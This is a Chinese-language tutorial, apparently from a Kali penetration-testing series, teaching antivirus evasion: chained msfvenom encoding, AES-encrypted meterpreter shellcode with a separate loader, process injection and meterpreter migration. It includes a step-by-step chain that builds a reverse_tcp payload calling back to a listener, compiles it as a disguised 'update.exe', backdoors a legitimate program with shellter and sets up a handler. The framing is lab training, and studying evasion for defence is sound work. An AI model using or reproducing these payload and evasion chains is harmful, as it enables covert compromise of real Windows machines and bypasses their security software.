📚 网络安全 Kali 学习系列
模块 0 基础阶段 ✅ 已完成
01-18 Linux → 网络 → 密码学 → 编程 → Docker
模块 1 信息收集 ✅ 已完成 | 模块 2 Web渗透 ✅ 已完成
19-31 扫描 → 漏洞 → sqlmap → XSS → WAF绕过
模块 3 代码审计 ✅ 已完成
32-37 审计入门 → Node.js → PHP → Java → Python → CVE复现
模块 4 漏洞利用与后渗透(进行中)
38 Metasploit 入门 ✓ | 39 Payload 生成 ✓ | 40 Linux 提权 ✓ | 41 Windows 提权 ✓ | 42 权限维持 ✓
43 免杀技术基础(当前篇)
模块 4 即将完结,后续进入逆向工程 → 恶意软件分析 → 内网渗透
免杀技术基础:编码、混淆与分段加载
网络安全 Kali 学习系列 · 第 43 篇 · 模块 4 漏洞利用与后渗透

读完本篇你将能:理解杀毒软件的静态扫描与动态行为检测原理,使用 msfvenom 编码器对 payload 进行多轮编码,掌握 shellcode 加密加载和分段注入的基本思路,在 Metasploitable 靶场环境中完成从 payload 生成到绕过基础检测的完整链路。

前三十九篇生成的所有 payload——msfvenom 直出 exe、bash 反弹 shell、meterpreter——在真实环境中几乎都会被杀毒软件拦截。第 39 篇介绍了编码器的概念但没有深入,本篇补上这块拼图:为什么单纯编码效果有限?现代免杀需要哪些技术栈?ATT&CK 框架将其归类为 T1027(混淆文件信息)和 T1036(伪装)。

目录

第一章 杀毒软件检测原理:静态与动态
第二章 msfvenom 编码器深度应用
第三章 Shellcode 加密与加载器分离
第四章 分段加载与进程注入
第五章 实战免杀链路:从生成到投递
第六章 分级练习

第一章 杀毒软件检测原理:静态与动态

要把钥匙偷带进安检,先得了解安检怎么查。杀毒软件的检测手段分两大类:静态扫描(不运行文件,分析文件特征)和动态行为(在沙箱中运行,监控行为)。两种方式覆盖不同的检测面,需要不同的绕过策略。

1.1 静态检测

静态检测在文件不执行的情况下判断是否恶意,主要手段包括:

检测方式 原理 绕过策略
特征码扫描 数据库中的已知恶意字节序列匹配 编码/加密改变字节特征
启发式分析 分析 PE 结构、导入表、可疑节区 伪装 PE 头、修改导入表
熵值检测 高熵值(接近 8)暗示加密/压缩 混合明文与密文降低平均熵
YARA 规则 基于模式匹配的规则引擎 改变代码结构和字符串模式

1.2 动态检测

动态检测将文件放入沙箱中运行,监控系统行为。即使静态特征通过了,异常行为依然会被拦截:

行为特征 触发检测 绕过思路
注入其他进程 CreateRemoteThread / NtMapViewOfSection 使用间接注入方式
创建子进程 cmd.exe / powershell.exe 作为子进程 避免创建系统进程
网络连接 连接已知 C2 IP/域名 使用域名前置、合法域名中转
注册表修改 写入 Run 键、修改文件关联 延迟执行、检测沙箱环境
💡 小贴士
现代 EDR(端点检测与响应)系统结合了静态和动态检测,还引入了行为基线——学习用户正常行为模式,偏离基线即报警。EDR 的核心优势不是阻止已知威胁,而是发现未知行为异常。这也是为什么纯技术免杀越来越难——你需要对齐用户正常行为画像。

第二章 msfvenom 编码器深度应用

第 39 篇展示了 msfvenom -e x86/shikata_ga_nai -i 5 的基本用法。本篇深入编码器的工作原理和局限性。

2.1 编码器列表与原理

Shell · 编码器列表 encoders.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
# 列出所有可用编码器
msfvenom --list encoders
 
# 常用编码器:
x86/shikata_ga_nai # 最强编码器,XOR+反馈,x86 专用
x86/xor_dynamic # 动态 XOR 密钥
x86/countdown # 倒计数解码器
cmd/brace # Bash 花括号混淆
cmd/quotes # 引号混淆
 
# shikata_ga_nai 原理:XOR 加密 + 自反馈解码
# 每次迭代使用不同的寄存器和指令顺序
# 但解码存根(stub)本身有固定特征

shikata_ga_nai(日语"仕方がない",意为"无可奈何")是 MSF 最强的编码器。它使用 XOR 加密配合自反馈解码器,每次迭代的寄存器和指令顺序都随机化。但关键局限在于:解码存根本身有可识别的特征——杀毒厂商早已将 shikata_ga_nai 的解码器模式加入特征库。

2.2 多编码器链式组合

单一编码器迭代 N 次效果有限——杀毒软件只需要识别第一层解码存根。链式组合不同编码器可以增加检测难度。

Shell · 多编码器链式组合 chain_encode.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 第一层:shikata_ga_nai 编码 5 次
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.56.1 LPORT=4444 \
  -e x86/shikata_ga_nai -i 5 -f raw -o stage1.raw
 
# 第二层:对第一层输出再用 countdown 编码
msfvenom -p - # 从 stdin 读取
  < stage1.raw \
  -e x86/countdown -i 3 -f raw -o stage2.raw
 
# 第三层:再包裹一层 shikata_ga_nai
msfvenom -p - < stage2.raw \
  -e x86/shikata_ga_nai -i 1 -f exe -o final.exe
 
# 注意:多层编码后文件体积会显著增大
⚠️ 常见错误
msfvenom -e x86/shikata_ga_nai -i 100 — 迭代 100 次不会更隐蔽,反而因为文件膨胀(每次添加解码存根)和熵值飙升(高熵本身就是检测指标)更容易被发现
✓ 正确:迭代 3-5 次足够,重点在组合不同编码器和改变 payload 结构

第三章 Shellcode 加密与加载器分离

编码器的局限在于:解码存根和编码后的 payload 还在同一个文件中。如果把加密的 shellcode 和解密加载器分开——shellcode 作为数据嵌入,加载器负责运行时解密并执行——杀毒软件静态扫描时只看到一个普通程序在操作数据,而不是一段 payload。

3.1 Shellcode 提取与加密

Shell · Shellcode 提取与 AES 加密 encrypt_shellcode.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# 1. 生成 raw shellcode(C 格式)
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.56.1 LPORT=4444 -f c
 
# 2. 用 Python 加密 shellcode
python3 -c "
import base64
from Crypto.Cipher import AES
key = b'16bytesecretkey!'
shellcode = bytes([0xfc,0xe8,...]) # msfvenom 输出
pad = 16 - len(shellcode) % 16
shellcode += bytes([pad]) * pad
cipher = AES.new(key, AES.MODE_CBC, key)
enc = cipher.encrypt(shellcode)
print(base64.b64encode(enc).decode())
" > encrypted.txt
 
# 3. 加载器(C 代码框架,编译后运行时解密)
# VirtualAlloc → 分配可执行内存
# memcpy → 写入解密后的 shellcode
# CreateThread → 执行 shellcode
 
# 4. 将加密数据嵌入加载器
# 加密后的 shellcode 作为字符串常量
# 编译为正常 PE 文件
# 静态扫描只看到 base64 字符串,无可执行特征

这种方法的核心思路是关注点分离——把"做什么"(shellcode)和"怎么执行"(加载器)拆开。杀毒软件扫描 PE 文件时,看到的是一个包含 base64 字符串的普通程序,而不是一个可执行的 payload。只有运行时才解密并注入内存。

💡 小贴士
加载器编写时注意:不要使用 CreateRemoteThread 直接注入——这是被监控最严格的 API。替代方案包括 fiber、APC queue 或 callback function 注入方式,这些方式在 ATT&CK T1055 下有详细分类。

第四章 分段加载与进程注入

分段加载(Staged Payload)是另一个免杀思路:不在文件中包含完整的 payload,而是只放一个微小的 stager(约 200 字节),运行时从网络下载真正的 payload 并在内存中执行。磁盘上的文件极小且特征极少。

4.1 Staged 与 Stageless 对比

特性 Staged(分段) Stageless(无段)
文件体积 约 200-500 字节(stager) 约 10-50KB(完整 payload)
网络依赖 运行时必须连接监听器 不需要网络连接即可执行
静态特征 少(磁盘上只有 stager) 多(完整 payload 在文件中)
网络检测 易被 IDS 识别 stager 通信 无网络特征
适用场景 投递阶段,文件需绕过静态 离线环境,网络不稳定

4.2 进程注入流程

Shell · 进程注入流程(概念) inject.sh
1
2
3
4
5
6
7
8
9
10
11
# 进程注入的五个步骤(Windows API 链路)
 
1. OpenProcess() # 获取目标进程句柄
2. VirtualAllocEx() # 在目标进程中分配内存
3. WriteProcessMemory() # 写入 shellcode 到分配的内存
4. CreateRemoteThread() # 在目标进程中创建线程执行
5. WaitForSingleObject() # 等待线程执行
 
# MSF 中使用 migrate 命令实现注入
meterpreter > migrate -N explorer.exe
meterpreter > getpid # 确认已迁移到 explorer

meterpreter 的 migrate 命令就是进程注入的封装——将当前会话从 payload 进程迁移到一个合法进程(如 explorer.exe),从而在 payload 进程退出后保持会话。这也是第 42 篇权限维持的一个补充:注入到合法进程后,即使原始后门被清除,会话依然存活。

第五章 实战免杀链路:从生成到投递

将前面各章技术串联成一条完整的免杀链路。以一个授权测试场景为例:目标运行 Windows 10 + Windows Defender,需要投递一个反弹 shell payload。

5.1 完整链路

Shell · 免杀链路 evasion_chain.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# Step 1: 生成 raw shellcode
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.56.1 LPORT=4444 -f raw -o shellcode.raw
 
# Step 2: 用 shikata_ga_nai 编码 3 次
msfvenom -p - < shellcode.raw \
  -e x86/shikata_ga_nai -i 3 -b '\x00\x0a\x0d' \
  -f raw -o encoded.raw
 
# Step 3: AES 加密编码后的 shellcode
python3 encrypt_loader.py encoded.raw > enc.txt
 
# Step 4: 将加密数据嵌入加载器,编译为 EXE
x86_64-w64-mingw32-gcc loader.c -o update.exe -lwinhttp
 
# Step 5: 用 shellter 给合法程序注入后门
shellter -a -s -f legit_app.exe \
  -p reverse_tcp_tcp 192.168.56.1 4444
 
# Step 6: 设置监听器
msfconsole -q -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.56.1; set LPORT 4444; run"

这条链路结合了编码、加密、加载器分离和合法程序注入四种技术。每一步都在减少静态特征:编码改变原始字节 → 加密消除编码存根特征 → 加载器伪装为普通程序 → 注入合法程序使文件本身是可信的。

💡 小贴士
Shellter 是一个 PE 注入工具,它修改合法程序的控制流,在程序执行入口处插入一段跳转指令到 shellcode。程序本身的原始功能完好——双击运行时先执行 shellcode 再正常工作。这种"寄生"方式让杀毒软件更难区分恶意和正常程序。

第六章 分级练习

🟢 基础验证

任务:使用 msfvenom 生成三种格式的 payload(raw、C、python),分别用 shikata_ga_nai 编码 1 次、3 次、5 次,对比三种文件的大小差异。用 file 和 xxd | head 查看每种格式的前 64 字节,理解编码对文件头的影响。

参考解法:raw 格式是纯 shellcode 字节,无文件头;C 格式输出 unsigned char 数组;python 格式输出 bytes 对象。编码 1 次的文件比原始大约增加 200 字节(解码存根),每次额外迭代再增加约 100 字节。5 次编码后文件大约比原始大 600-800 字节。

🟡 组合应用

任务:编写一个 Python 脚本,实现 shellcode 的 AES-CBC 加密功能。脚本接收 raw shellcode 文件作为输入,输出 base64 编码的密文。再编写一个对应的解密函数验证加密解密的正确性。在 Metasploitable 靶场上生成一个 reverse_tcp shellcode,用你的脚本加密,验证解密后的 shellcode 与原始文件一致。

提示:使用 from Crypto.Cipher import AES(pycryptodome 库),注意 PKCS7 填充。密钥用 16 字节随机生成,IV 用密钥本身或单独生成。验证:md5sum original.raw decrypted.raw 两个哈希值应一致。

🔴 开放挑战

任务:在隔离的 Windows 虚拟机中部署 Windows Defender(或使用 VirusTotal 上传测试),设计一个免杀方案使 payload 通过静态检测。要求:(1) 记录原始 payload 的检测率(用 VirusTotal 扫描);(2) 尝试至少三种免杀技术组合(编码、加密、加载器分离、shellter 注入);(3) 记录每种组合后的检测率变化;(4) 分析检测率最低的方案为什么有效。注意:VirusTotal 上传的样本会被共享给杀毒厂商,实际测试中应使用本地隔离环境。

参考方向:关注"熵值"指标——单一编码后的高熵值本身就是红旗。成功的免杀方案通常混合明文字节和密文字节降低平均熵。研究 ATT&CK T1027 的子技术列表了解最新的混淆分类。

💡 小贴士
免杀技术的时效性极强——杀毒厂商持续更新检测规则,今天有效的方案明天可能失效。本系列的免杀内容聚焦原理和思路,不提供即开即用的免杀方案。在实际渗透测试中,免杀是"定制"工作——针对目标环境的杀毒软件版本和配置定制 payload。

知识回顾

静态检测 动态检测 特征码扫描 启发式分析 熵值检测 shikata_ga_nai 链式编码 Shellcode 加密 加载器分离 Staged/Stageless 进程注入 Shellter 注入 ATT&CK T1027 ATT&CK T1055

下一篇预告

模块 4(漏洞利用与后渗透)至此全部完成。从 Metasploit 入门到 payload 生成、从 Linux/Windows 提权到权限维持和免杀,你已经走通了从"发现漏洞"到"持久控制"的完整链路。系列接下来进入模块 4-2:逆向工程基础。下一篇将从 x86/x64 汇编基础和 PE/ELF 文件格式入手,为后续的静态分析、动态调试和恶意软件分析打下底层基础。汇编语言是逆向工程的"字母表"——看不懂汇编,Ghidra 和 GDB 的输出就是天书。

关注本公众号,持续获取网络安全 Kali 学习系列更新。如果觉得有帮助,欢迎点赞、在看、分享给同样在学习网络安全的朋友。